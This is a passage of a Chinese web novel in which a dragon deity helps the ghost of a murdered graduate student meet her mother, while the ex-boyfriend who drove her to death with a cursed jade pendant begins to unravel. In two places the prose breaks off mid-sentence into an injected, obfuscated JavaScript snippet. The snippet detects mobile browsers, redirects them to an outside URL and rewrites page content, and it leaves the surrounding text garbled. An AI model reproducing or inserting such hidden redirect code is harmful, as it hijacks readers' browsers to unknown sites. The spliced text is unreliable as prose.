便利店有室外就餐区,这会儿没什么人,应真潇找了个位置坐下,拆开鸡腿菜饭,又把小崽摆在桌上,撕开蛋糕包装袋:“吃吧,你俩一人一个。” 小崽滴溜溜地转圈,女鬼不敢置信,指了指自己,犹豫道:“给……给我啊?” “那不然呢?本来就是给你买的。”应真潇一耸肩:“呐,这个就叫好鬼有好报,你刚才要是不说,今晚就只能吃那个齁甜的葡萄蛋糕了。” 女鬼:…… 她嘴唇嗫嚅了一会儿,小声道:“谢谢。” 老鬼一般都直接吸供奉食物的精气,但女鬼当鬼没多久,依然保留着生前的习惯,双手穿过冰皮蛋糕,从中捧起一团冰皮蛋糕的虚影,小口小口地吃着。 她“吃”蛋糕的动作很慢,吃着吃着,漆黑的双眼中涌出虚幻的水珠,落到半空中,又消弭于无形。 应真潇全当没看见,吃完菜饭,又拿起两个冰皮蛋糕——坏消息是供奉过的食物味道会变得寡淡,好消息是她现在本来也尝不出味道:) 她吃饭速度快,但动作却十分优雅利落,收拾好桌上的残骸,应真潇抬头看着刚吃完蛋糕的女鬼,随意道:“死了之后还没好好吃过饭吧。” 女鬼着急忙慌地擦了擦眼泪,声音微微哽咽:“嗯,我妈妈……没有祭祀过。” “正常,她还没有接受现实。”应真潇说:“我看得出来。” 女鬼瞪大眼睛:“你……见过我妈妈?” 应真潇:“下午刚见过。发改委的曾照云副主任,对吧?” “……嗯。”女鬼讷讷,小心翼翼道:“她,她还好吗?” 人间的官身自有紫气护体,寻常鬼魅近不得身,所以女鬼想见曾副主任,不得不依托别人的身体。 但应真潇猜她不知道,即使她真的上了朱世巍的身,一靠近曾副主任,就会被驱逐出体外,最终还是竹篮打水。 应真潇:“我感觉不太好。” 女鬼低着头,小声啜泣。 路口拐过来一男一女,女孩白领打扮,满脸紧张慌乱,护着自己的包,声音发抖:“你、你干什么!放开、放开!再不放开我叫人了!” 男人看打扮就不像多正经的人,满身酒气,拽着女孩包包的肩带,醉醺醺地呲出一口大黄牙:“交个朋友嘛妹妹,你加我微信我就放开……” 应真潇朝脸埋在双手中的女鬼抬抬下巴:“先别哭了,到你英雄登场了。” 女鬼茫然抬起头,观察了一下局面,迟疑:“我……去上那个男人的身?” “鬼上身对人有害,也有损阴德,最好不要。”应真潇手指按在龙蛋上,眼球一阵刺痛,看着男人身上的黑气:“那个家伙气运很低,可以直接看到你。” 言外之意,不需要额外显形吓到小姑娘。 女鬼点点头,飘了过去,拍了拍男人的肩膀:“你好,请问你看到了我的头吗?” 男人回头,满脸不耐烦,发现身后是个女孩,迟钝的大脑还没来得及注意她的异样,就见女孩的头咕噜噜从头上滚下来,在地上朝他微笑:“你看到我的头了吗?” 男人:…… 下一秒,他放开扒着姑娘包的手,一屁股跌坐在地,然后手脚并用,屁滚尿流地往反方向爬去,尖叫:“有鬼,有鬼啊——” 被骚扰的女孩不知道发生了什么,但她已经吓得要死了,抱紧自己的包哭着跑远了。 女鬼捡起自己的头,飘着跟了过去,不久后返回便利店,跟应真潇汇报:“安全到家了,她就住后面小区。” 应真潇点点头,嘲笑她:“你好下头啊。” 女鬼:…… “为了嘉奖你的见义勇为,”应真潇宣布:“我决定,等会儿带你去见你妈妈。” 女鬼瞪大眼睛。 恰好此时,应真潇手机响了一下,她拿起来一看,是李小雨的信息——应该是组长把她的问题转发给和郑宇俊一个办公室的李小雨。 李小雨说郑宇俊没什么动静,因为刘局长那天勃然大怒,同事们也都在看笑话,他最近都夹着尾巴做人:“我估计他对升迁死心了,今天班上一半就请假跑了,说是陪女朋友去了。” 应真潇皱起眉头,谢过李小雨后,她抬头看着女鬼:“还有一件事,一起交代给你吧。” 她说:“你被郑宇俊害死的事,虽然不知道他用的是什么办法,但是我认为是真的。” 抛开女鬼自己的陈述,郑宇俊骗得过凡人,但骗不过举头三尺的神明,如果女鬼是一时想不开投水殉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447593|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,根本不会有这么重的怨气;唯一的可能,就是她阳寿未尽而含冤横死。 “你有两个选择,要么报警——我是说,上报阴司。” “阴司查实后会扣他相应的寿数,后果取决于他还有多少年阳寿,要是命短,就会暴毙,要是命长,不会立即死亡。” 女鬼点点头:“那另一种选择呢。” “另一种选择就是你直接弄死他,一命抵一命——就像你开始想做的那样。” “阴司不反对私力救济,你能接受后果就行,”应真潇随口陈列了几个:“比如坐牢、拔舌、腰斩、下油锅、投胎成畜生、不能考公之类的。” 事实上,阴司想反对也有心无力,横死之鬼,受怨气影响,往往神智扭曲,为了复仇,什么伤天害理的事都敢做,除非阴司及时察觉,否则等它怨气消散,神智恢复时,木已成舟,说都没用了。 女鬼就是这种情况,要不是犯下大错前,被应真潇发现了,最后的下场,也未必能好到哪里去。 女鬼听完,小声问应真潇:“……你为什么帮我?” 察觉到这话有歧义,她又赶紧说:“我不是那个意思,就是,就是,我知道这样不对,我今天附身别人也不对,我还以为你们这种高人,都会说阴阳有别,回头是岸之类的话……” “回头是岸吗?”应真潇深深地看了她一眼:“放下才是岸。” 女鬼沉默。 “行了,我去丢垃圾。”她拎着打包袋起身:“你自己好好考虑吧。” …… 单人病房里,曾照云一身病号服,坐在病床上,专心致志地翻看着文件。 秘书端着病号餐进来:“主任,吃点东西吧。” “不吃。”曾照云头也不抬:“明天上午什么时候去市办?中午赶得回来了吗?下午还有一个见面会……” 秘书:“明天的会议已经安排谢处长代替了,大夫说了,您现在需要静养。” “谁让你安排的?”曾照云表情严肃:“眼下正是关键时期,单位里事情多得忙不过来,我怎么能休息?赶紧把日程给我安排回来,我现在就出院。” 说着,她就要下床。 秘书赶紧拦住她,眼眶发红:“您都已经连轴转一个多星期了!再这样下去,身体都要垮了!苗苗她……” “许爱仪!”曾照云厉声打断她,声音中却带着慌张:“不要讲无关的事情,我身体好得很,大家都在忙,我怎么能躲懒!” 她神情严厉,双目中却噙着悲伤和恳求的情绪。 秘书哽咽一声,终究还是拗不过她,叹了一口气:“好,好,我不说了。主任,有个临时会见,沈书记安排的。等下他秘书就带着人来了,你先吃点东西,补充一下体力。” “好,你端过来。”提到工作,曾照云好像又有了主心骨,她跌坐在床上,念叨着:“沈书记也真是的,搞突然袭击,吃完饭我还得换衣服,穿成这样怎么见客……” 秘书背过身去,趁着端菜的间隙,擦掉眼角的泪水。 16. 当龙王 16 半小时后,应真潇急急忙忙赶到华江医院,书记的秘书已经在住院楼下面等她了。 “不好意思陈秘书,晚高峰堵上了。”她歉然:“麻烦你了,这么晚了还出来加班。” 陈秘书微笑:“我也刚到不久。” 他看了一眼手表:“市办不加班的时候,晚上一般十点下班,今天托你的福,能出个外勤,早点回家。” 应真潇:…… 什么核动力公仆。 两人走进住院大楼,女鬼则缀在后面,应真潇在她身上写了镇魂的印,但和身居高位,身带天罡的人离得太近,还是会让她感到不舒服。 “曾主任的独生女,不久前突然离世了。”应真潇就是为曾照云来的,陈秘书不知道具体原因,但没有隐瞒,和盘托出:“小丫头叫奉嘉禾,还在读研究生,曾主任到现在都没有接受。” 应真潇点点头。 “书记很重视这件事,”他顿了顿,提了一个以前常在新闻中出现的名字:“姚总也是。” 应真潇挑眉。 “奉小姐是烈属,父亲是十几年前因公牺牲的奉海梁烈士,”陈秘书解释道:“奉海梁烈士是姚总的学生。” “不过,奉小姐的死因是殉情,曾主任是亲生母亲,直到现在都不肯接受现实,更别提处理了,旁人也不好插手处理。” 要是其他案件,早就从重从快抓了;但殉情,确实算是不光彩且不好追究责任的死因。 应真潇平淡道:“陈秘书,如果我说,奉嘉禾的死因,不是殉情呢?” “应小姐,”陈秘书没说信,也没说不信:“判案需要证据。” 应真潇:“当然。不过,人命关天,保险起见,麻烦你们注意一下奉嘉禾男友的现女友。” 陈秘书颔首。 电梯到达,两人走出电梯,女鬼——也就是奉嘉禾,已经到了,缀在两人后面。 曾照云的秘书引两人走进病房,奉嘉禾却犹豫了,在门口踌躇着。 “别磨蹭。”应真潇回头。 陈秘书眼皮一跳。 曾照云的秘书也回头看了一眼:“怎么了,应小姐?” “没事。”应真潇说。 三人一鬼进门,曾照云已经打扮妥当,完全看不出下午晕倒的狼狈。 寒暄过后,应真潇道:“曾主任,我想单独和您聊聊。” 曾照云看了一眼陈秘书,陈秘书朝她微微颔首,她便点点头:“好。小许,你接待一下陈秘书。” 病房中变得安静,只剩下茶壶煮水的咕嘟声。 应真潇看了一眼角落,奉嘉禾正蹲在那里,抱着膝盖抹眼泪。她又看向曾照云:“曾主任,有人托我给您带几句话。” “陆雁书吗?”曾照云笑容温和,给应真潇倒了一杯茶。 应真潇摇摇头:“不,不是陆总。是一位叫奉嘉禾的姑娘。” 砰—— 曾照云手中的茶壶掉到地上,发出清脆的碎裂声,滚烫的茶水飞溅到腿上,曾照云却没有感觉到热。 但她无暇他顾,脸色苍白:“应小姐,我不知道你在说什么,请不要开玩笑。” “我没有开玩笑。”应真潇说:“你的女儿苗苗,也就是奉嘉禾,托我——” 她看向曾照云的腿边,小丫头一边哭一边伸出手,用灵力接着滚烫的茶水:“我帮你说,还是你自己说?” 曾照云瞪大了双眼,不敢置信地看向她目光的落点。 那里本应是一滩滚烫的茶水,现在却诡异地结了冰,冰中间有两个脚印,就好像……有人蹲在那里。 “是你吗苗苗?”曾照云双眼通红,声音颤抖:“你、你回来看妈妈了……” 她小心翼翼地伸出手,想抚摸孩子的头发,却只触碰到一团阴凉的空气。 曾照云的眼泪滚了下来。 世界上有鬼,这对于寻常人来说,是多么冲击世界观的一件事啊;可对于曾照云来说,知道女儿死讯的时候,她的世界已经天塌地陷了。 她一生都是唯物主义者,但这一刻,她比谁都希望另一个世界存在。 奉嘉禾也在哭,空气中响起细若游丝的呜咽声。 ……要么说鬼哭狼嚎呢,确实瘆人。 应真潇扶额,翻译奉嘉禾朝她摇头的肢体语言:“奉嘉禾现在的样子比较……不雅观。” 她正常的样子,是鬼气森森的漂亮女孩;过度接近曾照云之后,苍白的脸上浮现漆黑的龟裂,皮肤也开始溃破,往外翻涌黑色的雾气,双手也变得漆黑,不停颤抖。 曾照云身居高位,本就不是寻常鬼魅能近身的。 “没关系,没关系的,”曾照云看向奉嘉禾所在的位置:“苗苗你变成什么样子,妈妈都喜欢,让妈妈看一下,看一下好不好?妈妈好想你……” 殡仪馆的人通知她去认尸,她没有去;也不敢看奉嘉禾的照片,好像只要不听、不看,时间就可以一直停留在上次见面,她和女儿约定好,等这阵子忙完,和她一起去植物园看绣球花。 “对不起,对不起苗苗,”曾照云哭着说:“妈妈没有照顾好你,让你早早的离开了,也没有去看你,把你一个人丢在殡仪馆,那里是不是很冷啊?对不起苗苗……” 奉嘉禾痛哭流涕,她在灯光下显出身型,尽力遮掩不自然的地方:“对不起妈妈,都是我不好,都是我的错……” 母女俩抱头痛哭,简直惨不忍闻。 应真潇也有些动容,等两人哭差不多了,她才出声:“曾主任,我们来谈谈赔偿的问题。” 奉嘉禾哭声一顿:…… 不是,怎么还有告家长的环节啊?! 她十分心虚,想隐去身形飘到边上躲起来,曾照云却一把抓住她的手——尽管那摸起来像一块冰,刺得人皮肤生疼,把她按在自己身边:“苗苗你不要走。” 奉嘉禾咬着唇,坐在她身边。 “曾主任,最好不要接触她的身体。”应真潇适时提醒:“你的气场很强,她会不舒服。” 曾照云连忙放开,连身体都往外挪了挪:“苗苗,你刚出生的时候软绵绵的,像没有骨头一样 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奉嘉禾连忙扶了一下脑袋,幽怨地看着应真潇——她老实了,但这家伙还是告了家长! 曾照云不知道下头这么时髦的术语,但能听得出应真潇的玩笑语气,也跟着放松了不少,点点头,笑道:“我知道了。抱歉,给你们添麻烦了,损失我们一定全部赔偿。” “曾主任是个负责任的好母亲。”应真潇起身,看了一眼手机:“你们单独聊吧,我出去走走。奉嘉禾,你还有半个小时。” 曾照云脸色一白,紧张地坐直了:“还有半个小时是什么意思?苗苗这么快就要去投胎了?” “哦,那倒不是。”应真潇说:“我明天还要上班,睡太晚早上起不来。” 曾照云:…… 好质朴的理由,她无言以对。 …… 两位秘书站在走廊另一头聊天,见应真潇出来了,陈秘书请她借一步说话。 两人走进应急通道,陈秘书说,郑宇俊的新女友是本地一位知名企业家的独生女,已经提醒他多加注意了,也加派了人手保护。 “郑宇俊下午和女友出门玩了剧本杀,晚上请丧假回老家了——他父亲去世了。”陈秘书道:“现在已经下高铁了,我们会派人盯着。” 应真潇点点头。 “还有一件事,是代替沈书记问的。”陈秘书道:“应小姐对你原单位的赵靖江印象如何?” 他适时补充:“当然,只是简单的群众基础调查。” 赵靖江就是组长。 应真潇挑眉:“这么基层的人事变动,怎么送到沈书记案头了?” 陈秘书但笑不语。 应真潇闻弦歌而知雅意:“那我觉得他人挺好的,专业技术过硬,理想信念坚定,处变不惊,应对冷静,团结同事,热心奉献。” “而且你不觉得这名字特吉利吗?”应真潇耸肩,笑道:“我第一次见,就觉得他特别适合干气象水利什么的。” 陈秘书也笑了:“了解了,我会转达给书记。” 17. 当龙王 17 半小时后,应真潇带着恋恋不舍的奉嘉禾走了。 一龙一蛋一鬼回到酒店,应真潇洗漱后盘腿坐在床上,打开洗衣液闻了一下,没什么味道,于是又开始拆陆雁书送的香水。 “一下子全拆了啊?”奉嘉禾诧异地飘过来,坐在床边。 应真潇往空气里喷了一泵,小崽在香雾里转圈圈:“对啊。” 她还没有不体面到把别人送的礼物拿去卖二手,更何况,她现在迫切地想知道,陆雁书用的到底是什么香水。 那真是相当好闻,甚得龙心了。 味道不对,她又开了一瓶,往试香卡上喷,这瓶香水味道不如前一个,外观却富丽堂皇,小崽喜欢得不了的,围着瓶子转圈。 应真潇看着奉嘉禾欲言又止的样子,十分大方:“想要啊?等我选完,你可以在剩下的里面挑一瓶,我改天烧给你。” “谢谢。”奉嘉禾下意识道,又摇摇头:“……我不是那个意思啦,就是,就是。” 她支支吾吾半天,小声道:“有没有办法可以让我不去投胎,一直呆在妈妈身边啊?” “现在出生率这么低,你以为说投胎就能投胎?”应真潇摇头:“要摇号的,立刻投胎,反而得找关系才行。” 奉嘉禾瘪瘪嘴。 “不过游魂野鬼确实不能在凡间久留,没准过几天就会有阴司的人来逮你。”应真潇“唔”了一声:“想停留在凡间,那你得考个公务员,这样就可以自由出入阴阳两界了。” 奉嘉禾大为震惊:“阴间真有公务员啊?” “我不是和你说了吗?有案底的一大后果就是不能考公。”应真潇不赞同地看着她:“上课怎么不听讲啊,开小差去了?” 奉嘉禾:…… 她讪笑:“我以为你逗我玩的。” “没逗你,是真的,想考公是鬼之常情。”应真潇说:“鬼差的岗位很走俏,一方面是待遇好,发香火,另一方面和你一样,舍不得凡间的亲人。” 鬼的寿命没有定数,能做鬼差的都是灵力强大的鬼,不至于连两百年都活不过;但鬼差的流动也挺频繁的——从鬼神的尺度来说。 很多鬼来应聘是因为不舍凡间的亲人,但凡人寿数有限,不须一百年,人间就再没有一个和他认识的活人了,因此,虽然有编制,很多鬼还是会觉得孤独,也就退休去投胎了。 鬼是人的延续,而人却是社会关系的总和,失去了值得挂念的人,无尽的形寿,只会带来无尽的空虚和孤独。 不过奉嘉禾远没有想到这一层。 她本来以为应真潇会觉得她贪心不足,得陇望蜀,才扭扭捏捏的,但既然应真潇说这是鬼之常情,又提供了具体的解决方法,她的心思便活络了起来:“那怎么才能当鬼差啊?” “考试啊。”应真潇说:“现在很正规的,编制都逢进必考。” “对了,你读书怎么样啊?听陈秘书说,你是研究生?”应真潇怜悯地看了她一眼:“我上次听了一耳朵,现在不设限制的鬼差岗位,报录比已经接近五千了。” 三不限的含金量.jpg “还可以吧,我研究生保送的。”奉嘉禾下意识答道,随后脸色一垮:“五千?不是,怎么死了还这么卷啊?” “当然,你以为死了就不用卷了?哪有这种好事。”应真潇唏嘘,现在仙界都要考试,何况地府;连她这种岗位祖传的,都得出来调研呢。 “阴司比人间还卷,除了申论行测——类似的科目,还有执法能力考试、灵力测试——你可以理解为体测,而且他们招聘不限应届死。” 她叮嘱奉嘉禾:“你自己好好考虑。” “死了还这么卷,”奉嘉禾心酸道:“我想复活。” …… 时间退回到早上。 郑宇俊从床上猛然坐起,惊魂未定。 “怎么了?”睡在身边的女人闭着眼,嗤笑一声:“梦到你那个死鬼前女友了?” 郑宇俊不喜欢她一直把奉嘉禾挂在嘴边,拧了拧眉:“……不是。我梦到我爷爷了。” “哦。”女人翻了个身,继续睡:“你那个死鬼爷爷啊。” “……”郑宇俊呼吸粗重了几分,阖上双眼。 昨夜的梦让他倍感不安:他梦到了已经去世的爷爷,只剩下半截残躯,在地上的血污中挣扎、蠕动,喊着他的名字,骂他不肖子孙。 “我告诫过你,不要闹出人命——啊!” 黑暗中,传来一阵嘶哑的,似哭似笑的声音,随即,一支枯槁干瘦的手臂伸了出来,将试图逃跑的爷爷拖进黑暗中,再没了声响。 他起身下床,从床头柜中取出一个匣子,走进洗手间,坐在马桶上,颤着手打开了匣子。 里面是一片独山玉玉佩,玉质粗劣,底色黑白交错,使得上面篆刻的“永结同心”四字,看起来扭曲又狰狞。 这是郑家祖传之物,爷爷说它可以控制女人,但要满足三个条件:“她至少对你有一点好感,否则不能生效;和她相处三个月,她就会对你死心塌地言听计从。” “最后一个条件,”爷爷严肃地叮嘱他:“千万不要弄出人命,不要让她恨你,否则不但你会招来反噬,下场凄惨,郑家的列祖列宗也会被厉鬼所害。” 爷爷说,他当年娶到大队支书家的独生女,靠的就是这个。 那个被郑宇俊称为奶奶,满脸皱纹的老太婆,曾是大队里最高挑漂亮的姑娘,备受父母宠爱,婚后却被丈夫儿子殴打、虐待,像奴隶一样被使唤了一辈子。 她的丈夫是赘婿,但她父母去世后,儿子便迫不及待地改回郑姓,孙子更是从一开始,就和她没有半点联系,她一提当年的事,丈夫便当着家人的面,两巴掌扇得她鼻青脸肿。 直到她生命的最后一个月,丈夫幡然醒悟,握着她的手,痛哭流涕,说自己错了,不分昼夜精细地伺候着她,直至她带着幸福的泪水离世。 郑宇俊的父亲也大抵走着这样的路,从村里人一跃成为县局书记的贤婿,当然,母亲远比她的婆婆幸福,丈夫温文儒雅,除了出轨、挥霍,并无其他恶习。 “哪个男人不是这样的?你爸多顾家,每个月还交不少钱呢 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女人踹了他一脚,径直走进洗手间:“下午剧本杀缺人,你来凑个人数。” “亲爱的,我不能随便脱岗的。”郑宇俊吸了一口气:“要不你找……” 女人回身扇了他一个耳光:“你这工作是本小姐赏你的,还能比本小姐的事情更重要?” “来不来。”女人又扇了他一个耳光,语气嘲弄:“不来,你就专心致志地去上你那个班吧,两条腿的男人,天下多的是,别人还没有麻烦的前女友。” “……好。”郑宇俊脸皮有些抽搐,但还是绷住了。 比起被羞辱的难堪,更令他在意的是,他催动了玉佩的力量,可已经被控制了一半的女人,却没有受到影响。 郑宇俊看了一眼手中的匣子,不安的思绪开始膨胀。 夏天是气象局的旺季,假并不好请,郑宇俊推说自己不舒服,好说歹说,科长才同意放他一马;结果还没拿到假条,女人就闯了进来。 “怎么还没好!”女人戴着墨镜,语气不耐烦:“狗东西屁事真多,叫你出来玩怎么这么磨叽。” 办公室立马安静了下来,一向看他不顺眼的李小雨张嘴嘲讽:“哎呀,原来是相思病,要和女朋友贴贴才能好呀。” 女人:“你算哪根葱,关你屁事。” “这里是公务单位,你贸然闯入,”李小雨伶牙俐齿:“谁知道是不是间谍来窃取机密气象数据。” 眼看就要吵起来了,郑宇俊脸皮烫得快烧起来了,赶紧把女人拉走,称得上低声下气:“走吧,快走吧,等下耽误时间了。” 一直到剧本杀开始,他四肢都还是软的,人也心神不宁。 “到你了,快问啊。”女人催促他。 郑宇俊拿到的角色卡是忘却前尘的旅人,要询问紫姑找回自己的身世。 角色卡上煞有介事地介绍了扶乩的禁忌,郑宇俊却没有心情研究,心不在焉地从角色卡上截了一句:“我的死期是哪天?” 18. 当龙王 18 说完,他自己也惊了一下。 游戏的规则是紫姑的死期不能问,因为按照设定紫姑会发狂,但没限制能不能问自己的,MD还没拿准主意,就听到扮演紫姑的npc怪腔怪调地报了一个月份和日期的组合,比现在早一个多月。 很好很好,这么答,既不出戏,也不会得罪客人,MD松了一口气。 郑宇俊也无端松了一口气,不知道是在安慰自己,还是在回复npc:“那你算错了。” “我没有死。我不会死。”他强调道。 扮演紫姑的npc低着头,声音冷得令人打寒战:“君不死,我奈何。” “是的。”郑宇俊露出微笑,却莫名有些癫狂:“你奈何不了我。” ——奉嘉禾。 npc没了回应,MD宣布游戏继续,郑宇俊突然来了兴致,全情投入了进去。 剧本杀结束,女人的朋友纷纷捧他:“郑哥好聪明啊,有操作的。” “听说郑哥是公务员?哎哟,以后当了大官可别忘了咱们哪。” “先恭喜珂姐当书记夫人!” 女人十分受用,对他露出了今天的第一个笑容:“今天本来感觉你特别讨厌,但是现在又觉得你好帅。” “哟,生理期快到了。”女人掐指一算,恍然:“难怪。对不起啊亲爱的,没有控制住情绪。” 郑宇俊露出笑容。 果然是他想多了,一个梦而已。 这是一家主打民俗文化的剧本杀工作室,装修很有巧思,墙上贴着一本陈旧的黄历,郑宇俊定睛一看,发现是今年的——看来是作旧的。 郑宇俊一哂,下一秒表情却僵硬了。 黄历正好翻到这个月,其中的一天被红笔圈出,正是奉嘉禾的死期。 他对别人的说辞是,奉嘉禾母亲不同意他们的恋情,所以奉嘉禾想不开殉情了。 但事实不是这样的。 奉嘉禾的母亲很开明,支持女儿和喜欢的人在一起,即使他只是个出身小县城的穷小子。 但那个老女人又该死地执拗,坚决不同意帮他运作,即使只是给领导带个话,而这是他迄今为止最重要的机会。 她还背着奉嘉禾告诉他,她绝对不会打破做人的底线,如果他是打着这样的想法接近奉嘉禾,最好不要白费力气。 ——装你妈个逼的清高。 ——明明只是举手之劳,凭什么不帮我? ——你毁了我的升迁机会,我就毁了你最疼爱的女儿。 他冷笑着,约奉嘉禾出来,告诉她,她母亲不同意他们在一起:“我们应该用最坚决的方式来斗争。” 奉嘉禾下意识地摇头,下一秒,他催动了玉佩。 “孔雀东南飞,五里一徘徊。”为了让奉嘉禾甘心赴死,不要恨他,也不要给他惹来世俗的麻烦,他编了一个美好的谎言:“让他们知道,我们的感情至死不渝。” 奉嘉禾双目茫然,机械地转身离开。 当晚,她留下遗书,从钱舟桥一跃而下。 而那天——正是紫姑说的那个农历日期! 郑宇俊的心脏狂跳了起来。 手机突然响了,是母亲的电话,铃声就像是海浪中的浮木,他牢牢抓住,接通电话,渴望母亲给他一点能转移他注意力的好消息,就像陆地上的鱼渴望氧气,不停地翕张鳃盖:“妈,怎么了?” “郑继德死了。”母亲多年来第一次直呼父亲的名字,声音是前所未有的冷漠:“你回来给他收尸吧。” 郑宇俊的不安到达了极点:“妈,我马上回来,你先给爸爸准备……” “不关我事。”母亲说:“郑继德这个王八蛋,靠着我爸上位,还胆敢给我戴绿帽子,欺负我这么多年,我以前是鬼迷心窍了,才觉得他是个好人。” “他那些破鞋不干,我凭什么干?”母亲冷笑一声:“他给的那点钱,连买个垃圾袋装骨灰都不够。” “你跟你爸是一个模子刻出来的王八羔子,我通知你一声,算是仁至义尽了,从此以后,你别叫我妈,我也没有你这样的儿子。” 说完,母亲挂断电话。 郑宇俊骇然地跌坐在地上。 店内的大屏幕开始播放剧本杀宣传片,旁白嘶哑尖锐:“不要回头……” “——她在你身后。” …… 翌日清晨,闹钟还没响,应真潇就醒了。 她睁开双眼:“不要仗着自己是鬼就随便吓人。” 坐在床头看她的奉嘉禾被她吓得飞了起来,脑袋卡进天花板,折腾了一会儿才拔出来,抱怨道:“我没有吓你啊,反倒是你,突然睁开眼睛,吓死我了。” “怎么吓死你的?”应真潇起床往洗手间走:“详细说说。” 奉嘉禾:…… 她撅着嘴,就知道欺负她! 很快,应真潇就洗漱完出来了,顺手把桌上转圈的小崽捞起来,琢磨了一下,在顶上亲了一口:“早上好。” 小崽戴着——或者说穿着新买的手串,不肯脱下来,富丽堂皇,并不是很好下嘴。 “你要吃早餐吗?”应真潇往空气里喷了一泵香水,走进去转了一圈,心情肉眼可见地愉悦了起来:“吃的话我给你开个面包,不吃就等我晚上回来供餐。” 不是陆雁书身上那个味道,但应真潇还挺喜欢这个味道的,清淡自然,果然是人不识货钱识货。 事实上,袋子里所有香水都不是陆雁书身上的香气,甚至没有三分相似的代替品,应真潇理解不了,只能解释为自己确实出现了心理幻觉,或者那是陆雁书信息素的味道 ——气象局的女同事坚称人类也有信息素,叫做荷尔蒙,基因上彼此吸引的人就会闻到对方的荷尔蒙味道,并且认为好闻。 应真潇上网查了一下,有人说是真的,也有人说是伪科学,她懒得去翻论文,索性当真了。 她这龙从不内耗。 小崽也闹着要喷香水,应真潇把他蛋上箍着的镯子取下来,喷了一泵之后又戴上:“香水里面有酒精,酒精会损害镯子哦。” 龙蛋往前点了点。 “你这是电子宠物吗?”奉嘉禾问。 应真潇:“你可以这么理解。” 奉嘉禾“哦”了一声:“你给我开个面包吧,谢谢你,早上不吃东西总感觉胃不舒服——我知道你要说什么,这是心理感受。” 应真潇哈哈大笑:“那你猜错了。” 她撕开一个面包放在桌上,又打开酒店房间的电视,给奉嘉禾选了一个电视剧,然后把崽塞进包里准备出门:“老实呆着,无聊也不要去吓人。” 奉嘉禾不解:“怎么去上班还这么开心?” “上班不开心。”应真潇说:“但是我和送我香水的人约好了今天见,见到他会开心,懂?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447596|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“恋爱脑差不多的得了。”奉嘉禾叮嘱道:“记得帮我问问考公的事情,最好弄点考公教材来,我好开始复习。” 进入状态还挺快,应真潇一笑,背上包:“等我有空了去帮你问问道士。” 随后,她关门出发。 奉嘉禾挠头,一边看着电视吃早餐,一边嘀咕:“你不就是道士?而且不是挺懂的吗……” 应真潇要是知道,大概会说,具体的事务又不要她管,她只负责在下属交名单上来的时候,批个已阅,原则上同意。 应真潇的好心情只维持到地铁到站。 四号线早高峰无愧死亡之名,应真潇被挤得形象全无,神智也开始恍惚,脚步虚浮地走进公司。 她对着电梯的反光大门整理仪容,下一秒金属门向两侧划开,露出熟悉的人影。 应真潇:…… 好熟悉的场景,上次经历好像还是在上次。 她走进电梯,向两位上司问好:“陆总早上好,梁助早上好。” 陆雁书平淡地应了一声,顿了顿,又说:“早上好。” 颇有一种一本正经的趣味性。 应真潇心情又好起来了,她指了指着自己:“陆总,我身上少了个东西,你发现没有?” 陆雁书闻言,仔细端详了她一番,微微摇头,声音平静:“恕我眼拙。” “那很眼拙了。”应真潇笑道:“我魂没在,你没发现吗?” 陆雁书目光一凛。 “四号线挤死了。”应真潇继续说:“人来了,魂被挤飞了。” 说完,她笑了起来,眉眼弯弯,双瞳盈波。 陆雁书:…… 原来是这个意思。 “抱歉。”他看向梁博:“后勤部门还没回复吗?” 梁博张口欲言,应真潇连忙拦住他:“陆总,我只是开个玩笑而已。” 她打开手机展示时间:“还有十分钟才到上班时间,不要push员工,占用休息时间,陆总。” 陆雁书:…… 他无言以对。 电梯到站,应真潇哼着歌去和小姐妹——也就是钱佳妮汇合了,陆雁书沉默地看着她的背影。 “应小姐性格活泼。”梁博说。 陆雁书“嗯”了一声。 确实如此。 但他……并不讨厌。 到了工位,应真潇把小崽摆在底座上,越看越觉得,这个镯子小崽穿着好看,炫娃的心无处安放,拍了一张发给陆雁锦。 离了陆雁锦,她上哪找知道她在晒什么的人啊! 陆鲤鲤:【崽崽超可爱!】 他又拍了一张照片,是阶梯教室:【早八上高数,摸个鱼先。姐你在干嘛呢?】 应真潇也把工位拍给他看:【在薅你家的羊毛。】 陆雁锦回了个猫猫头大笑的表情包。 他话多,应真潇也爱接,一人一龙聊了半天,钱佳妮突然给她弹消息:【别看了!身后!】 应真潇下意识地回头。 陆雁书就站在她身后,神色平静地——看着她。 应真潇:…… “陆总,”她面不改色:“我对接同事呢。” 陆雁书不置可否,转身走向办公室,抛下一句淡淡的“到我办公室来”。 应真潇:…… 她一扭头,对上钱佳妮“你自求多福”的怜悯眼神。 19. 当龙王 19 应真潇心里没觉得多害怕,她知道这样不够庄重,可陆雁书什么样子她没见过——近之则不逊,龙也莫能免俗啊。 但态度还是要端正,她绷住脸,打好道歉的腹稿,推门进办公室。 腹稿没派上用场,陆雁书根本没提她工作时间玩手机的事情,告诉她,现在公司宿舍没有空缺,排期需要半个月,队伍插无可插——总不能把别人从房子里赶出去。 ——这点事还需要亲自来一趟?不能手机上说,不能让梁博来说?害得她吓一跳。 应真潇腹诽,脸上却表情真诚:“没事的陆总,我继续住酒店就行了。” “不,”陆雁书说:“我在附近还有一套房子,可以提供给你暂住,租金按照公司宿舍标准来。” 他补充道:“这是公司安排的临时周转政策。” 排期都排了半个月了,可见陆总没有给其他人提供这样的临时周转政策。 